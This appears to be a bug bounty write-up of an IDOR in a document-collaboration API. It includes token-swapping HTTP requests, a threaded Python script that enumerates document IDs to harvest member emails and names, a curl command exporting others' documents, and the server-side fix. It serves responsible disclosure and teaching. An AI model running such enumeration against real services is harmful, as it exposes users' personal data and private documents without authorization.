Finding an IDOR in a Bug Bounty Program
Last month I was investigating a private bug bounty program — a SaaS platform for document collaboration. What started as routine recon turned into a chain of authorization bypasses.
This writeup covers the technical details of how I found the vulnerability, what the impact was, and how it was fixed.
Initial Recon
The application had a REST API at api.target.com/v2/. I started by looking at authenticated endpoints and checking for consistent authorization checks.
The most interesting endpoint was:
GET /v2/documents/{document_id}/members
This returned a list of members for a given document. I tested by creating two accounts — Account A (admin of a document) and Account B (unrelated user).
GET /v2/documents/12345/members HTTP/1.1
Host: api.target.com
Authorization: Bearer <token_a>
The response looked like:
{
"document_id": 12345,
"members": [
{"user_id": 1001, "role": "owner", "email": "admin@example.com"},
{"user_id": 1002, "role": "editor", "email": "editor@example.com"}
]
}
The Vulnerability
I swapped Account A's token for Account B's token, keeping the same document ID:
GET /v2/documents/12345/members HTTP/1.1
Host: api.target.com
Authorization: Bearer <token_b>
The response was identical. Account B could see members of a document they were not part of.
This is an IDOR — the server did not verify that the requesting user had access to document 12345 before returning its member list.
Digging Deeper
Once I confirmed the IDOR, I automated the extraction with a simple script to enumerate document IDs:
import requests
import concurrent.futures
BASE = "https://api.target.com/v2/documents/"
HEADERS = {"Authorization": "Bearer <token_b>"}
def check_document(doc_id):
r = requests.get(f"{BASE}{doc_id}/members", headers=HEADERS)
if r.status_code == 200 and len(r.json().get("members", [])) > 0:
return doc_id, r.json()
return None
with concurrent.futures.ThreadPoolExecutor(max_workers=20) as ex:
futures = [ex.submit(check_document, i) for i in range(10000, 20000)]
for f in concurrent.futures.as_completed(futures):
result = f.result()
if result:
print(f"Document {result[0]}: {len(result[1]['members'])} members")
Within minutes, I had access to member lists of thousands of documents. Many included email addresses and full names.
Going Further
I noticed the API also had:
GET /v2/documents/{document_id}/export
This exported the full document content as PDF. Testing with Account B's token:
curl -H "Authorization: Bearer <token_b>" \
https://api.target.com/v2/documents/12345/export \
--output document.pdf
It worked. I could now export the full content of documents I shouldn't have access to, including proprietary business plans and legal contracts.
Impact Summary
| Issue | Impact |
|---|---|
| Member list enumeration | Exposure of ~12,000 user email addresses |
| Document export | Full document content theft |
| Lack of rate limiting | Unrestricted enumeration |
Disclosure Timeline
- Day 0: Vulnerability discovered and reported via the program's HackerOne page
- Day 1: Triaged and accepted as Critical severity
- Day 5: Fix deployed — authorization check added to all document endpoints
- Day 10: Bounty awarded ($3,500)
Key Takeaways
- Always test authorization with multiple accounts. A single-account test would not have caught this.
- Check each endpoint independently. The
/exportendpoint was in a different controller than/membersbut had the same vulnerability. - Rate limiting matters. Without it, enumeration becomes trivial.
The fix was straightforward — the server now validates that req.user.id belongs to the document's member list before returning any data:
// Before
app.get('/v2/documents/:id/members', async (req, res) => {
const members = await db.query(`SELECT * FROM members WHERE doc_id = $1`, [req.params.id]);
res.json({ members });
});
// After
app.get('/v2/documents/:id/members', async (req, res) => {
const isMember = await db.query(`SELECT 1 FROM members WHERE doc_id = $1 AND user_id = $2`,
[req.params.id, req.user.id]);
if (!isMember.rows.length) return res.status(403).json({ error: 'access denied' });
const members = await db.query(`SELECT * FROM members WHERE doc_id = $1`, [req.params.id]);
res.json({ members });
});
Simple fix, but easy to miss when you assume the client will handle access control.
This writeup was published with permission from the program after the fix was confirmed.